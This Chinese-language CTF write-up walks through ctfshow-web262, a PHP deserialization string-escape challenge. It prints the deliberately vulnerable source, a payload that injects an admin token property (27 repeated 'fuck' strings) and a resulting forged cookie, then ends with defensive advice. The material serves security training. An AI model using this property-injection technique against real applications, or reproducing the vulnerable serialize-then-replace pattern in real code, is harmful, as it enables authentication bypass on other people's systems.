1. CTF题目解析:PHP反序列化与字符串逃逸漏洞实战
作为一名长期奋战在CTF一线的Web安全选手,今天要分享的是ctfshow-web262这道经典的PHP反序列化题目。这道题完美展示了如何利用字符串替换函数(str_replace)与序列化结构的特性实现属性注入,最终获取flag的过程。下面我将从代码审计、漏洞原理到最终利用,详细拆解整个解题思路。
1.1 题目环境初探
首先我们看到的是一段PHP代码,核心功能是处理用户发送的消息:
php复制error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
这段代码的关键点在于:
- 接收三个GET参数(f/m/t)构造message对象
- 序列化后对"fuck"进行替换为"loveU"
- 将处理后的序列化字符串base64编码存入cookie
1.2 隐藏的message.php
通过注释可以发现存在message.php文件,访问后看到以下代码:
php复制highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这里的关键逻辑是:
- 从cookie中取出msg值
- base64解码后反序列化
- 检查token属性是否为admin
- 满足条件则输出flag
2.1 漏洞原理:字符串逃逸与序列化结构破坏
这道题的核心漏洞在于str_replace函数与PHP序列化结构的交互。PHP序列化字符串有严格的格式:
code复制O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"test";s:5:"token";s:4:"user";}
其中s:4表示后面是长度为4的字符串。当我们将"fuck"(4字节)替换为"loveU"(5字节)时,会导致:
- 序列化字符串中长度标识与实际内容不匹配
- 多出的字节会被当作新的序列化结构解析
- 后续内容可能被当作新的属性定义
2.2 构造利用链的关键步骤
要实现token属性覆盖,需要精心构造逃逸结构:
- 计算需要逃逸的字节数:要注入
";s:5:"token";s:5:"admin";}需要27个额外字节 - 每次替换产生1字节差异(fuck→loveU)
- 因此需要27个"fuck"来产生足够的溢出空间
最终payload结构:
code复制fuckfuck...fuck";s:5:"token";s:5:"admin";}
3.1 完整利用过程实操
具体操作步骤如下:
- 构造GET请求:
code复制?f=1&m=2&t=fuckfuckfuck...fuck";s:5:"token";s:5:"admin";}
(共27个"fuck")
-
服务器处理流程:
- 创建message对象
- 序列化后替换"fuck"为"loveU"
- 每个替换增加1字节,总共增加27字节
- 多出的27字节正好容纳我们的注入结构
-
生成的cookie示例:
code复制Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MToiMSI7czozOiJtc2ciO3M6MToiMiI7czoyOiJ0byI7czo4NzoibG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVSI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7fQ==
- 携带此cookie访问message.php即可获取flag
4.1 关键问题与排查技巧
在实际操作中可能会遇到以下问题:
Q1: 为什么必须使用t参数进行注入?
A: 因为PHP反序列化是顺序解析的:
- 如果从from或msg参数注入,会破坏后续所有属性的解析
- to参数是最后一个用户可控属性,后面只有token
- 这样注入只会影响token属性,不会破坏整体结构
Q2: 为什么dirsearch扫不出message.php?
A: 可能原因包括:
- 默认字典不包含message.php
- 服务器配置了特殊规则阻止扫描
- 文件权限设置问题
建议尝试:
- 使用更大更全的字典
- 手动测试常见备份文件(message.php.bak等)
- 检查robots.txt等提示文件
Q3: 如何防御此类漏洞?
开发角度:
- 避免在序列化后对数据进行替换操作
- 对反序列化数据进行严格校验
- 使用JSON等更安全的序列化格式
- 设置__wakeup()方法重置敏感属性
5.1 深入理解PHP反序列化特性
这个漏洞利用了两个PHP特性:
-
序列化字符串长度标识信任:
PHP反序列化时完全信任字符串前的长度标识(s:4),不会验证实际长度。这导致我们可以通过改变实际内容长度来破坏结构。 -
同名属性覆盖规则:
当反序列化遇到同名属性时,后面的值会覆盖前面的。这使得我们可以通过注入来修改预设的属性值。
6.1 漏洞利用的变种与延伸
这类漏洞还有多种变形利用方式:
- 减少字节数的场景:
如果替换是长字符串变短(如"loveU"→"fuck"),可以构造:
code复制loveUloveU...loveU";...}
通过减少字节数使后续内容被"吞并"
-
多属性注入:
当需要修改多个属性时,可以构造更复杂的逃逸结构 -
结合其他过滤函数:
如preg_replace等都可能产生类似效果
7.1 CTF实战技巧总结
通过这道题,我们可以总结以下CTF解题技巧:
- 代码审计要全面:
- 不要忽略注释中的线索
- 注意所有文件包含和引用关系
- 特别关注数据流动路径
- 序列化问题排查步骤:
- 定位序列化/反序列化点
- 检查中间处理函数(str_replace等)
- 分析属性覆盖可能性
- 计算精确的逃逸长度
- 工具使用建议:
- 使用PHP交互环境测试序列化结构
- 开发自己的反序列化分析工具
- 保持常用字典的更新
8.1 从防御角度思考
作为开发者,应当注意:
-
输入验证:
对所有反序列化数据来源进行严格校验 -
安全配置:
- 使用php.ini中的unserialize_callback_func
- 考虑使用allowed_classes限制可反序列化的类
- 日志监控:
记录异常的反序列化操作,特别是长度异常的请求
这个案例展示了Web安全中一个精妙的漏洞利用链。通过理解底层原理,我们不仅能解决CTF题目,更能提升真实世界的安全防御能力。记住,安全是一个持续的过程,需要开发者和安全研究者共同努力。